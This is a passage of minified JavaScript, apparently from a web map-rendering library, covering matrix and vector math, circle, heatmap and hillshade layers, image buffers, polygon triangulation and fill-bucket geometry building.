D===R?(R[12]=D[0]*ee+D[4]*ce+D[8]*me+D[12],R[13]=D[1]*ee+D[5]*ce+D[9]*me+D[13],R[14]=D[2]*ee+D[6]*ce+D[10]*me+D[14],R[15]=D[3]*ee+D[7]*ce+D[11]*me+D[15]):(Se=D[0],We=D[1],at=D[2],dt=D[3],xt=D[4],Bt=D[5],qt=D[6],Zt=D[7],vr=D[8],kr=D[9],Jr=D[10],Zr=D[11],R[0]=Se,R[1]=We,R[2]=at,R[3]=dt,R[4]=xt,R[5]=Bt,R[6]=qt,R[7]=Zt,R[8]=vr,R[9]=kr,R[10]=Jr,R[11]=Zr,R[12]=Se*ee+xt*ce+vr*me+D[12],R[13]=We*ee+Bt*ce+kr*me+D[13],R[14]=at*ee+qt*ce+Jr*me+D[14],R[15]=dt*ee+Zt*ce+Zr*me+D[15]),R}function No(R,D,U){var ee=U[0],ce=U[1],me=U[2];return R[0]=D[0]*ee,R[1]=D[1]*ee,R[2]=D[2]*ee,R[3]=D[3]*ee,R[4]=D[4]*ce,R[5]=D[5]*ce,R[6]=D[6]*ce,R[7]=D[7]*ce,R[8]=D[8]*me,R[9]=D[9]*me,R[10]=D[10]*me,R[11]=D[11]*me,R[12]=D[12],R[13]=D[13],R[14]=D[14],R[15]=D[15],R}function Uo(R,D,U){var ee=Math.sin(U),ce=Math.cos(U),me=D[4],Se=D[5],We=D[6],at=D[7],dt=D[8],xt=D[9],Bt=D[10],qt=D[11];return D!==R&&(R[0]=D[0],R[1]=D[1],R[2]=D[2],R[3]=D[3],R[12]=D[12],R[13]=D[13],R[14]=D[14],R[15]=D[15]),R[4]=me*ce+dt*ee,R[5]=Se*ce+xt*ee,R[6]=We*ce+Bt*ee,R[7]=at*ce+qt*ee,R[8]=dt*ce-me*ee,R[9]=xt*ce-Se*ee,R[10]=Bt*ce-We*ee,R[11]=qt*ce-at*ee,R}function zf(R,D,U){var ee=Math.sin(U),ce=Math.cos(U),me=D[0],Se=D[1],We=D[2],at=D[3],dt=D[4],xt=D[5],Bt=D[6],qt=D[7];return D!==R&&(R[8]=D[8],R[9]=D[9],R[10]=D[10],R[11]=D[11],R[12]=D[12],R[13]=D[13],R[14]=D[14],R[15]=D[15]),R[0]=me*ce+dt*ee,R[1]=Se*ce+xt*ee,R[2]=We*ce+Bt*ee,R[3]=at*ce+qt*ee,R[4]=dt*ce-me*ee,R[5]=xt*ce-Se*ee,R[6]=Bt*ce-We*ee,R[7]=qt*ce-at*ee,R}function oc(R,D,U,ee,ce){var me=1/Math.tan(D/2),Se;return R[0]=me/U,R[1]=0,R[2]=0,R[3]=0,R[4]=0,R[5]=me,R[6]=0,R[7]=0,R[8]=0,R[9]=0,R[11]=-1,R[12]=0,R[13]=0,R[15]=0,ce!=null&&ce!==1/0?(Se=1/(ee-ce),R[10]=(ce+ee)*Se,R[14]=2*ce*ee*Se):(R[10]=-1,R[14]=-2*ee),R}function Jc(R,D,U,ee,ce,me,Se){var We=1/(D-U),at=1/(ee-ce),dt=1/(me-Se);return R[0]=-2*We,R[1]=0,R[2]=0,R[3]=0,R[4]=0,R[5]=-2*at,R[6]=0,R[7]=0,R[8]=0,R[9]=0,R[10]=2*dt,R[11]=0,R[12]=(D+U)*We,R[13]=(ce+ee)*at,R[14]=(Se+me)*dt,R[15]=1,R}var Qc=Wu;function Af(){var R=new ao(3);return ao!=Float32Array&&(R[0]=0,R[1]=0,R[2]=0),R}function $c(R){var D=new ao(3);return D[0]=R[0],D[1]=R[1],D[2]=R[2],D}function Ff(R,D,U){return R[0]=D[0]+U[0],R[1]=D[1]+U[1],R[2]=D[2]+U[2],R}function qc(R,D,U){return R[0]=D[0]-U[0],R[1]=D[1]-U[1],R[2]=D[2]-U[2],R}function eh(R,D,U){return R[0]=D[0]*U,R[1]=D[1]*U,R[2]=D[2]*U,R}function sc(R,D){var U=D[0],ee=D[1],ce=D[2],me=U*U+ee*ee+ce*ce;return me>0&&(me=1/Math.sqrt(me)),R[0]=D[0]*me,R[1]=D[1]*me,R[2]=D[2]*me,R}function Hv(R,D){return R[0]*D[0]+R[1]*D[1]+R[2]*D[2]}function Vv(R,D,U){var ee=D[0],ce=D[1],me=D[2],Se=U[0],We=U[1],at=U[2];return R[0]=ce*at-me*We,R[1]=me*Se-ee*at,R[2]=ee*We-ce*Se,R}function Gv(R,D,U){var ee=D[0],ce=D[1],me=D[2];return R[0]=ee*U[0]+ce*U[3]+me*U[6],R[1]=ee*U[1]+ce*U[4]+me*U[7],R[2]=ee*U[2]+ce*U[5]+me*U[8],R}var Wv=qc;(function(){var R=Af();return function(D,U,ee,ce,me,Se){var We,at;for(U||(U=3),ee||(ee=0),ce?at=Math.min(ce*U+ee,D.length):at=D.length,We=ee;We<at;We+=U)R[0]=D[We],R[1]=D[We+1],R[2]=D[We+2],me(R,R,Se),D[We]=R[0],D[We+1]=R[1],D[We+2]=R[2];return D}})();function Yv(){var R=new ao(4);return ao!=Float32Array&&(R[0]=0,R[1]=0,R[2]=0,R[3]=0),R}function Zv(R,D,U){return R[0]=D[0]*U,R[1]=D[1]*U,R[2]=D[2]*U,R[3]=D[3]*U,R}function Xv(R,D){return R[0]*D[0]+R[1]*D[1]+R[2]*D[2]+R[3]*D[3]}function Pc(R,D,U){var ee=D[0],ce=D[1],me=D[2],Se=D[3];return R[0]=U[0]*ee+U[4]*ce+U[8]*me+U[12]*Se,R[1]=U[1]*ee+U[5]*ce+U[9]*me+U[13]*Se,R[2]=U[2]*ee+U[6]*ce+U[10]*me+U[14]*Se,R[3]=U[3]*ee+U[7]*ce+U[11]*me+U[15]*Se,R}(function(){var R=Yv();return function(D,U,ee,ce,me,Se){var We,at;for(U||(U=4),ee||(ee=0),ce?at=Math.min(ce*U+ee,D.length):at=D.length,We=ee;We<at;We+=U)R[0]=D[We],R[1]=D[We+1],R[2]=D[We+2],R[3]=D[We+3],me(R,R,Se),D[We]=R[0],D[We+1]=R[1],D[We+2]=R[2],D[We+3]=R[3];return D}})();function jv(){var R=new ao(2);return ao!=Float32Array&&(R[0]=0,R[1]=0),R}function Kv(R){var D=R[0],U=R[1];return D*D+U*U}var Jv=Kv;(function(){var R=jv();return function(D,U,ee,ce,me,Se){var We,at;for(U||(U=2),ee||(ee=0),ce?at=Math.min(ce*U+ee,D.length):at=D.length,We=ee;We<at;We+=U)R[0]=D[We],R[1]=D[We+1],me(R,R,Se),D[We]=R[0],D[We+1]=R[1];return D}})();var Qv=function(R){function D(U){R.call(this,U,du)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.createBucket=function(ee){return new fi(ee)},D.prototype.queryRadius=function(ee){var ce=ee;return qo("circle-radius",this,ce)+qo("circle-stroke-width",this,ce)+Ys(this.paint.get("circle-translate"))},D.prototype.queryIntersectsFeature=function(ee,ce,me,Se,We,at,dt,xt){for(var Bt=Cs(ee,this.paint.get("circle-translate"),this.paint.get("circle-translate-anchor"),at.angle,dt),qt=this.paint.get("circle-radius").evaluate(ce,me),Zt=this.paint.get("circle-stroke-width").evaluate(ce,me),vr=qt+Zt,kr=this.paint.get("circle-pitch-alignment")==="map",Jr=kr?Bt:$v(Bt,xt),Zr=kr?vr*dt:vr,mn=0,hn=Se;mn<hn.length;mn+=1)for(var yn=hn[mn],Cn=0,_n=yn;Cn<_n.length;Cn+=1){var Yn=_n[Cn],Gn=kr?Yn:Eh(Yn,xt),ga=Zr,aa=Pc([],[Yn.x,Yn.y,0,1],xt);if(this.paint.get("circle-pitch-scale")==="viewport"&&this.paint.get("circle-pitch-alignment")==="map"?ga*=aa[3]/at.cameraToCenterDistance:this.paint.get("circle-pitch-scale")==="map"&&this.paint.get("circle-pitch-alignment")==="viewport"&&(ga*=at.cameraToCenterDistance/aa[3]),Ha(Jr,Gn,ga))return!0}return!1},D}(vi);function Eh(R,D){var U=Pc([],[R.x,R.y,0,1],D);return new t(U[0]/U[3],U[1]/U[3])}function $v(R,D){return R.map(function(U){return Eh(U,D)})}var Ch=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D}(fi);se("HeatmapBucket",Ch,{omit:["layers"]});function th(R,D,U,ee){var ce=D.width,me=D.height;if(!ee)ee=new Uint8Array(ce*me*U);else if(ee instanceof Uint8ClampedArray)ee=new Uint8Array(ee.buffer);else if(ee.length!==ce*me*U)throw new RangeError("mismatched image size");return R.width=ce,R.height=me,R.data=ee,R}function Lh(R,D,U){var ee=D.width,ce=D.height;if(!(ee===R.width&&ce===R.height)){var me=th({},{width:ee,height:ce},U);rh(R,me,{x:0,y:0},{x:0,y:0},{width:Math.min(R.width,ee),height:Math.min(R.height,ce)},U),R.width=ee,R.height=ce,R.data=me.data}}function rh(R,D,U,ee,ce,me){if(ce.width===0||ce.height===0)return D;if(ce.width>R.width||ce.height>R.height||U.x>R.width-ce.width||U.y>R.height-ce.height)throw new RangeError("out of range source coordinates for image copy");if(ce.width>D.width||ce.height>D.height||ee.x>D.width-ce.width||ee.y>D.height-ce.height)throw new RangeError("out of range destination coordinates for image copy");for(var Se=R.data,We=D.data,at=0;at<ce.height;at++)for(var dt=((U.y+at)*R.width+U.x)*me,xt=((ee.y+at)*D.width+ee.x)*me,Bt=0;Bt<ce.width*me;Bt++)We[xt+Bt]=Se[dt+Bt];return D}var Mf=function(D,U){th(this,D,1,U)};Mf.prototype.resize=function(D){Lh(this,D,1)},Mf.prototype.clone=function(){return new Mf({width:this.width,height:this.height},new Uint8Array(this.data))},Mf.copy=function(D,U,ee,ce,me){rh(D,U,ee,ce,me,1)};var Ho=function(D,U){th(this,D,4,U)};Ho.prototype.resize=function(D){Lh(this,D,4)},Ho.prototype.replace=function(D,U){U?this.data.set(D):D instanceof Uint8ClampedArray?this.data=new Uint8Array(D.buffer):this.data=D},Ho.prototype.clone=function(){return new Ho({width:this.width,height:this.height},new Uint8Array(this.data))},Ho.copy=function(D,U,ee,ce,me){rh(D,U,ee,ce,me,4)},se("AlphaImage",Mf),se("RGBAImage",Ho);var qv=new _i({"heatmap-radius":new pa(Ht.paint_heatmap["heatmap-radius"]),"heatmap-weight":new pa(Ht.paint_heatmap["heatmap-weight"]),"heatmap-intensity":new la(Ht.paint_heatmap["heatmap-intensity"]),"heatmap-color":new uo(Ht.paint_heatmap["heatmap-color"]),"heatmap-opacity":new la(Ht.paint_heatmap["heatmap-opacity"])}),ed={paint:qv};function Ph(R,D){for(var U=new Uint8Array(1024),ee={},ce=0,me=0;ce<256;ce++,me+=4){ee[D]=ce/255;var Se=R.evaluate(ee);U[me+0]=Math.floor(Se.r*255/Se.a),U[me+1]=Math.floor(Se.g*255/Se.a),U[me+2]=Math.floor(Se.b*255/Se.a),U[me+3]=Math.floor(Se.a*255)}return new Ho({width:256,height:1},U)}var td=function(R){function D(U){R.call(this,U,ed),this._updateColorRamp()}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.createBucket=function(ee){return new Ch(ee)},D.prototype._handleSpecialPaintPropertyUpdate=function(ee){ee==="heatmap-color"&&this._updateColorRamp()},D.prototype._updateColorRamp=function(){var ee=this._transitionablePaint._values["heatmap-color"].value.expression;this.colorRamp=Ph(ee,"heatmapDensity"),this.colorRampTexture=null},D.prototype.resize=function(){this.heatmapFbo&&(this.heatmapFbo.destroy(),this.heatmapFbo=null)},D.prototype.queryRadius=function(){return 0},D.prototype.queryIntersectsFeature=function(){return!1},D.prototype.hasOffscreenPass=function(){return this.paint.get("heatmap-opacity")!==0&&this.visibility!=="none"},D}(vi),rd=new _i({"hillshade-illumination-direction":new la(Ht.paint_hillshade["hillshade-illumination-direction"]),"hillshade-illumination-anchor":new la(Ht.paint_hillshade["hillshade-illumination-anchor"]),"hillshade-exaggeration":new la(Ht.paint_hillshade["hillshade-exaggeration"]),"hillshade-shadow-color":new la(Ht.paint_hillshade["hillshade-shadow-color"]),"hillshade-highlight-color":new la(Ht.paint_hillshade["hillshade-highlight-color"]),"hillshade-accent-color":new la(Ht.paint_hillshade["hillshade-accent-color"])}),nd={paint:rd},ad=function(R){function D(U){R.call(this,U,nd)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.hasOffscreenPass=function(){return this.paint.get("hillshade-exaggeration")!==0&&this.visibility!=="none"},D}(vi),id=ui([{name:"a_pos",components:2,type:"Int16"}],4),Rh=id.members,nh=Rc,od=Rc;function Rc(R,D,U){U=U||2;var ee=D&&D.length,ce=ee?D[0]*U:R.length,me=Dh(R,0,ce,U,!0),Se=[];if(!me||me.next===me.prev)return Se;var We,at,dt,xt,Bt,qt,Zt;if(ee&&(me=cd(R,D,me,U)),R.length>80*U){We=dt=R[0],at=xt=R[1];for(var vr=U;vr<ce;vr+=U)Bt=R[vr],qt=R[vr+1],Bt<We&&(We=Bt),qt<at&&(at=qt),Bt>dt&&(dt=Bt),qt>xt&&(xt=qt);Zt=Math.max(dt-We,xt-at),Zt=Zt!==0?1/Zt:0}return lc(me,Se,U,We,at,Zt),Se}function Dh(R,D,U,ee,ce){var me,Se;if(ce===oh(R,D,U,ee)>0)for(me=D;me<U;me+=ee)Se=_h(me,R[me],R[me+1],Se);else for(me=U-ee;me>=D;me-=ee)Se=_h(me,R[me],R[me+1],Se);return Se&&Dc(Se,Se.next)&&(fc(Se),Se=Se.next),Se}function Yu(R,D){if(!R)return R;D||(D=R);var U=R,ee;do if(ee=!1,!U.steiner&&(Dc(U,U.next)||Ni(U.prev,U,U.next)===0)){if(fc(U),U=D=U.prev,U===U.next)break;ee=!0}else U=U.next;while(ee||U!==D);return D}function lc(R,D,U,ee,ce,me,Se){if(R){!Se&&me&&gd(R,ee,ce,me);for(var We=R,at,dt;R.prev!==R.next;){if(at=R.prev,dt=R.next,me?ld(R,ee,ce,me):sd(R)){D.push(at.i/U),D.push(R.i/U),D.push(dt.i/U),fc(R),R=dt.next,We=dt.next;continue}if(R=dt,R===We){Se?Se===1?(R=ud(Yu(R),D,U),lc(R,D,U,ee,ce,me,2)):Se===2&&fd(R,D,U,ee,ce,me):lc(Yu(R),D,U,ee,ce,me,1);break}}}}function sd(R){var D=R.prev,U=R,ee=R.next;if(Ni(D,U,ee)>=0)return!1;for(var ce=R.next.next;ce!==R.prev;){if(Of(D.x,D.y,U.x,U.y,ee.x,ee.y,ce.x,ce.y)&&Ni(ce.prev,ce,ce.next)>=0)return!1;ce=ce.next}return!0}function ld(R,D,U,ee){var ce=R.prev,me=R,Se=R.next;if(Ni(ce,me,Se)>=0)return!1;for(var We=ce.x<me.x?ce.x<Se.x?ce.x:Se.x:me.x<Se.x?me.x:Se.x,at=ce.y<me.y?ce.y<Se.y?ce.y:Se.y:me.y<Se.y?me.y:Se.y,dt=ce.x>me.x?ce.x>Se.x?ce.x:Se.x:me.x>Se.x?me.x:Se.x,xt=ce.y>me.y?ce.y>Se.y?ce.y:Se.y:me.y>Se.y?me.y:Se.y,Bt=ah(We,at,D,U,ee),qt=ah(dt,xt,D,U,ee),Zt=R.prevZ,vr=R.nextZ;Zt&&Zt.z>=Bt&&vr&&vr.z<=qt;){if(Zt!==R.prev&&Zt!==R.next&&Of(ce.x,ce.y,me.x,me.y,Se.x,Se.y,Zt.x,Zt.y)&&Ni(Zt.prev,Zt,Zt.next)>=0||(Zt=Zt.prevZ,vr!==R.prev&&vr!==R.next&&Of(ce.x,ce.y,me.x,me.y,Se.x,Se.y,vr.x,vr.y)&&Ni(vr.prev,vr,vr.next)>=0))return!1;vr=vr.nextZ}for(;Zt&&Zt.z>=Bt;){if(Zt!==R.prev&&Zt!==R.next&&Of(ce.x,ce.y,me.x,me.y,Se.x,Se.y,Zt.x,Zt.y)&&Ni(Zt.prev,Zt,Zt.next)>=0)return!1;Zt=Zt.prevZ}for(;vr&&vr.z<=qt;){if(vr!==R.prev&&vr!==R.next&&Of(ce.x,ce.y,me.x,me.y,Se.x,Se.y,vr.x,vr.y)&&Ni(vr.prev,vr,vr.next)>=0)return!1;vr=vr.nextZ}return!0}function ud(R,D,U){var ee=R;do{var ce=ee.prev,me=ee.next.next;!Dc(ce,me)&&Ih(ce,ee,ee.next,me)&&uc(ce,me)&&uc(me,ce)&&(D.push(ce.i/U),D.push(ee.i/U),D.push(me.i/U),fc(ee),fc(ee.next),ee=R=me),ee=ee.next}while(ee!==R);return Yu(ee)}function fd(R,D,U,ee,ce,me){var Se=R;do{for(var We=Se.next.next;We!==Se.prev;){if(Se.i!==We.i&&xd(Se,We)){var at=kh(Se,We);Se=Yu(Se,Se.next),at=Yu(at,at.next),lc(Se,D,U,ee,ce,me),lc(at,D,U,ee,ce,me);return}We=We.next}Se=Se.next}while(Se!==R)}function cd(R,D,U,ee){var ce=[],me,Se,We,at,dt;for(me=0,Se=D.length;me<Se;me++)We=D[me]*ee,at=me<Se-1?D[me+1]*ee:R.length,dt=Dh(R,We,at,ee,!1),dt===dt.next&&(dt.steiner=!0),ce.push(md(dt));for(ce.sort(hd),me=0;me<ce.length;me++)vd(ce[me],U),U=Yu(U,U.next);return U}function hd(R,D){return R.x-D.x}function vd(R,D){if(D=dd(R,D),D){var U=kh(D,R);Yu(D,D.next),Yu(U,U.next)}}function dd(R,D){var U=D,ee=R.x,ce=R.y,me=-1/0,Se;do{if(ce<=U.y&&ce>=U.next.y&&U.next.y!==U.y){var We=U.x+(ce-U.y)*(U.next.x-U.x)/(U.next.y-U.y);if(We<=ee&&We>me){if(me=We,We===ee){if(ce===U.y)return U;if(ce===U.next.y)return U.next}Se=U.x<U.next.x?U:U.next}}U=U.next}while(U!==D);if(!Se)return null;if(ee===me)return Se;var at=Se,dt=Se.x,xt=Se.y,Bt=1/0,qt;U=Se;do ee>=U.x&&U.x>=dt&&ee!==U.x&&Of(ce<xt?ee:me,ce,dt,xt,ce<xt?me:ee,ce,U.x,U.y)&&(qt=Math.abs(ce-U.y)/(ee-U.x),uc(U,R)&&(qt<Bt||qt===Bt&&(U.x>Se.x||U.x===Se.x&&pd(Se,U)))&&(Se=U,Bt=qt)),U=U.next;while(U!==at);return Se}function pd(R,D){return Ni(R.prev,R,D.prev)<0&&Ni(D.next,R,R.next)<0}function gd(R,D,U,ee){var ce=R;do ce.z===null&&(ce.z=ah(ce.x,ce.y,D,U,ee)),ce.prevZ=ce.prev,ce.nextZ=ce.next,ce=ce.next;while(ce!==R);ce.prevZ.nextZ=null,ce.prevZ=null,yd(ce)}function yd(R){var D,U,ee,ce,me,Se,We,at,dt=1;do{for(U=R,R=null,me=null,Se=0;U;){for(Se++,ee=U,We=0,D=0;D<dt&&(We++,ee=ee.nextZ,!!ee);D++);for(at=dt;We>0||at>0&&ee;)We!==0&&(at===0||!ee||U.z<=ee.z)?(ce=U,U=U.nextZ,We--):(ce=ee,ee=ee.nextZ,at--),me?me.nextZ=ce:R=ce,ce.prevZ=me,me=ce;U=ee}me.nextZ=null,dt*=2}while(Se>1);return R}function ah(R,D,U,ee,ce){return R=32767*(R-U)*ce,D=32767*(D-ee)*ce,R=(R|R<<8)&16711935,R=(R|R<<4)&252645135,R=(R|R<<2)&858993459,R=(R|R<<1)&1431655765,D=(D|D<<8)&16711935,D=(D|D<<4)&252645135,D=(D|D<<2)&858993459,D=(D|D<<1)&1431655765,R|D<<1}function md(R){var D=R,U=R;do(D.x<U.x||D.x===U.x&&D.y<U.y)&&(U=D),D=D.next;while(D!==R);return U}function Of(R,D,U,ee,ce,me,Se,We){return(ce-Se)*(D-We)-(R-Se)*(me-We)>=0&&(R-Se)*(ee-We)-(U-Se)*(D-We)>=0&&(U-Se)*(me-We)-(ce-Se)*(ee-We)>=0}function xd(R,D){return R.next.i!==D.i&&R.prev.i!==D.i&&!bd(R,D)&&(uc(R,D)&&uc(D,R)&&wd(R,D)&&(Ni(R.prev,R,D.prev)||Ni(R,D.prev,D))||Dc(R,D)&&Ni(R.prev,R,R.next)>0&&Ni(D.prev,D,D.next)>0)}function Ni(R,D,U){return(D.y-R.y)*(U.x-D.x)-(D.x-R.x)*(U.y-D.y)}function Dc(R,D){return R.x===D.x&&R.y===D.y}function Ih(R,D,U,ee){var ce=kc(Ni(R,D,U)),me=kc(Ni(R,D,ee)),Se=kc(Ni(U,ee,R)),We=kc(Ni(U,ee,D));return!!(ce!==me&&Se!==We||ce===0&&Ic(R,U,D)||me===0&&Ic(R,ee,D)||Se===0&&Ic(U,R,ee)||We===0&&Ic(U,D,ee))}function Ic(R,D,U){return D.x<=Math.max(R.x,U.x)&&D.x>=Math.min(R.x,U.x)&&D.y<=Math.max(R.y,U.y)&&D.y>=Math.min(R.y,U.y)}function kc(R){return R>0?1:R<0?-1:0}function bd(R,D){var U=R;do{if(U.i!==R.i&&U.next.i!==R.i&&U.i!==D.i&&U.next.i!==D.i&&Ih(U,U.next,R,D))return!0;U=U.next}while(U!==R);return!1}function uc(R,D){return Ni(R.prev,R,R.next)<0?Ni(R,D,R.next)>=0&&Ni(R,R.prev,D)>=0:Ni(R,D,R.prev)<0||Ni(R,R.next,D)<0}function wd(R,D){var U=R,ee=!1,ce=(R.x+D.x)/2,me=(R.y+D.y)/2;do U.y>me!=U.next.y>me&&U.next.y!==U.y&&ce<(U.next.x-U.x)*(me-U.y)/(U.next.y-U.y)+U.x&&(ee=!ee),U=U.next;while(U!==R);return ee}function kh(R,D){var U=new ih(R.i,R.x,R.y),ee=new ih(D.i,D.x,D.y),ce=R.next,me=D.prev;return R.next=D,D.prev=R,U.next=ce,ce.prev=U,ee.next=U,U.prev=ee,me.next=ee,ee.prev=me,ee}function _h(R,D,U,ee){var ce=new ih(R,D,U);return ee?(ce.next=ee.next,ce.prev=ee,ee.next.prev=ce,ee.next=ce):(ce.prev=ce,ce.next=ce),ce}function fc(R){R.next.prev=R.prev,R.prev.next=R.next,R.prevZ&&(R.prevZ.nextZ=R.nextZ),R.nextZ&&(R.nextZ.prevZ=R.prevZ)}function ih(R,D,U){this.i=R,this.x=D,this.y=U,this.prev=null,this.next=null,this.z=null,this.prevZ=null,this.nextZ=null,this.steiner=!1}Rc.deviation=function(R,D,U,ee){var ce=D&&D.length,me=ce?D[0]*U:R.length,Se=Math.abs(oh(R,0,me,U));if(ce)for(var We=0,at=D.length;We<at;We++){var dt=D[We]*U,xt=We<at-1?D[We+1]*U:R.length;Se-=Math.abs(oh(R,dt,xt,U))}var Bt=0;for(We=0;We<ee.length;We+=3){var qt=ee[We]*U,Zt=ee[We+1]*U,vr=ee[We+2]*U;Bt+=Math.abs((R[qt]-R[vr])*(R[Zt+1]-R[qt+1])-(R[qt]-R[Zt])*(R[vr+1]-R[qt+1]))}return Se===0&&Bt===0?0:Math.abs((Bt-Se)/Se)};function oh(R,D,U,ee){for(var ce=0,me=D,Se=U-ee;me<U;me+=ee)ce+=(R[Se]-R[me])*(R[me+1]+R[Se+1]),Se=me;return ce}Rc.flatten=function(R){for(var D=R[0][0].length,U={vertices:[],holes:[],dimensions:D},ee=0,ce=0;ce<R.length;ce++){for(var me=0;me<R[ce].length;me++)for(var Se=0;Se<D;Se++)U.vertices.push(R[ce][me][Se]);ce>0&&(ee+=R[ce-1].length,U.holes.push(ee))}return U},nh.default=od;function Td(R,D,U,ee,ce){zh(R,D,U,ee||R.length-1,ce||Ad)}function zh(R,D,U,ee,ce){for(;ee>U;){if(ee-U>600){var me=ee-U+1,Se=D-U+1,We=Math.log(me),at=.5*Math.exp(2*We/3),dt=.5*Math.sqrt(We*at*(me-at)/me)*(Se-me/2<0?-1:1),xt=Math.max(U,Math.floor(D-Se*at/me+dt)),Bt=Math.min(ee,Math.floor(D+(me-Se)*at/me+dt));zh(R,D,xt,Bt,ce)}var qt=R[D],Zt=U,vr=ee;for(cc(R,U,D),ce(R[ee],qt)>0&&cc(R,U,ee);Zt<vr;){for(cc(R,Zt,vr),Zt++,vr--;ce(R[Zt],qt)<0;)Zt++;for(;ce(R[vr],qt)>0;)vr--}ce(R[U],qt)===0?cc(R,U,vr):(vr++,cc(R,vr,ee)),vr<=D&&(U=vr+1),D<=vr&&(ee=vr-1)}}function cc(R,D,U){var ee=R[D];R[D]=R[U],R[U]=ee}function Ad(R,D){return R<D?-1:R>D?1:0}function sh(R,D){var U=R.length;if(U<=1)return[R];for(var ee=[],ce,me,Se=0;Se<U;Se++){var We=F(R[Se]);We!==0&&(R[Se].area=Math.abs(We),me===void 0&&(me=We<0),me===We<0?(ce&&ee.push(ce),ce=[R[Se]]):ce.push(R[Se]))}if(ce&&ee.push(ce),D>1)for(var at=0;at<ee.length;at++)ee[at].length<=D||(Td(ee[at],D,1,ee[at].length-1,Md),ee[at]=ee[at].slice(0,D));return ee}function Md(R,D){return D.area-R.area}function lh(R,D,U){for(var ee=U.patternDependencies,ce=!1,me=0,Se=D;me<Se.length;me+=1){var We=Se[me],at=We.paint.get(R+"-pattern");at.isConstant()||(ce=!0);var dt=at.constantOr(null);dt&&(ce=!0,ee[dt.to]=!0,ee[dt.from]=!0)}return ce}function uh(R,D,U,ee,ce){for(var me=ce.patternDependencies,Se=0,We=D;Se<We.length;Se+=1){var at=We[Se],dt=at.paint.get(R+"-pattern"),xt=dt.value;if(xt.kind!=="constant"){var Bt=xt.evaluate({zoom:ee-1},U,{},ce.availableImages),qt=xt.evaluate({zoom:ee},U,{},ce.availableImages),Zt=xt.evaluate({zoom:ee+1},U,{},ce.availableImages);Bt=Bt&&Bt.name?Bt.name:Bt,qt=qt&&qt.name?qt.name:qt,Zt=Zt&&Zt.name?Zt.name:Zt,me[Bt]=!0,me[qt]=!0,me[Zt]=!0,U.patterns[at.id]={min:Bt,mid:qt,max:Zt}}}return U}var Sd=500,dl=function(D){this.zoom=D.zoom,this.overscaling=D.overscaling,this.layers=D.layers,this.layerIds=this.layers.map(function(U){return U.id}),this.index=D.index,this.hasPattern=!1,this.patternFeatures=[],this.layoutVertexArray=new yf,this.indexArray=new hl,this.indexArray2=new bf,this.programConfigurations=new Da(Rh,D.layers,D.zoom),this.segments=new H,this.segments2=new H,this.stateDependentLayerIds=this.layers.filter(function(U){return U.isStateDependent()}).map(function(U){return U.id})};dl.prototype.populate=function(D,U,ee){this.hasPattern=lh("fill",this.layers,U);for(var ce=this.layers[0].layout.get("fill-sort-key"),me=[],Se=0,We=D;Se<We.length;Se+=1){var at=We[Se],dt=at.feature,xt=at.id,Bt=at.index,qt=at.sourceLayerIndex,Zt=this.layers[0]._featureFilter.needGeometry,vr={type:dt.type,id:xt,properties:dt.properties,geometry:Zt?ti(dt):[]};if(this.layers[0]._featureFilter.filter(new In(this.zoom),vr,ee)){Zt||(vr.geometry=ti(dt));var kr=ce?ce.evaluate(vr,{},ee,U.availableImages):void 0,Jr={id:xt,properties:dt.properties,type:dt.type,sourceLayerIndex:qt,index:Bt,geometry:vr.geometry,patterns:{},sortKey:kr};me.push(Jr)}}ce&&me.sort(function(aa,ua){return aa.sortKey-ua.sortKey});for(var Zr=0,mn=me;Zr<mn.length;Zr+=1){var hn=mn[Zr],yn=hn,Cn=yn.geometry,_n=yn.index,Yn=yn.sourceLayerIndex;if(this.hasPattern){var Gn=uh("fill",this.layers,hn,this.zoom,U);this.patternFeatures.push(Gn)}else this.addFeature(hn,Cn,_n,ee,{});var ga=D[_n].feature;U.featureIndex.insert(ga,Cn,_n,Yn,this.index)}},dl.prototype.update=function(D,U,ee){this.stateDependentLayers.length&&this.programConfigurations.updatePaintArrays(D,U,this.stateDependentLayers,ee)},dl.prototype.addFeatures=function(D,U,ee){for(var ce=0,me=this.patternFeatures;ce<me.length;ce+=1){var Se=me[ce];this.addFeature(Se,Se.geometry,Se.index,U,ee)}},dl.prototype.isEmpty=function(){return this.layoutVertexArray.length===0},dl.prototype.uploadPending=function(){return!this.uploaded||this.programConfigurations.needsUpload},dl.prototype.upload=function(D){this.uploaded||(this.layoutVertexBuffer=D.createVertexBuffer(this.layoutVertexArray,Rh),this.indexBuffer=D.createIndexBuffer(this.indexArray),this.indexBuffer2=D.createIndexBuffer(this.indexArray2)),this.programConfigurations.upload(D),this.uploaded=!0},dl.prototype.destroy=function(){this.layoutVertexBuffer&&(this.layoutVertexBuffer.destroy(),this.indexBuffer.destroy(),this.indexBuffer2.destroy(),this.programConfigurations.destroy(),this.segments.destroy(),this.segments2.destroy())},dl.prototype.addFeature=function(D,U,ee,ce,me){for(var Se=0,We=sh(U,Sd);Se<We.length;Se+=1){for(var at=We[Se],dt=0,xt=0,Bt=at;xt<Bt.length;xt+=1){var qt=Bt[xt];dt+=qt.length}for(var Zt=this.segments.prepareSegment(dt,this.layoutVertexArray,this.indexArray),vr=Zt.vertexLength,kr=[],Jr=[],Zr=0,mn=at;Zr<mn.length;Zr+=1){var hn=mn[Zr];if(hn.length!==0){hn!==at[0]&&Jr.push(kr.length/2);var yn=this.segments2.prepareSegment(hn.length,this.layoutVertexArray,this.indexArray2),Cn=yn.vertexLength;this.layoutVertexArray.emplaceBack(hn[0].x,hn[0].y),this.indexArray2.emplaceBack(Cn+hn.length-1,Cn),kr.push(hn[0].x),kr.push(hn[0].y);for(var _n=1;_n<hn.length;_n++)this.layoutVertexArray.emplaceBack(hn[_n].x,hn[_n].y),this.indexArray2.emplaceBack(Cn+_n-1,Cn+_n),kr.push(hn[_n].x),kr.push(hn[_n].y);yn.vertexLength+=hn.length,yn.primitiveLength+=hn.length}}for(var 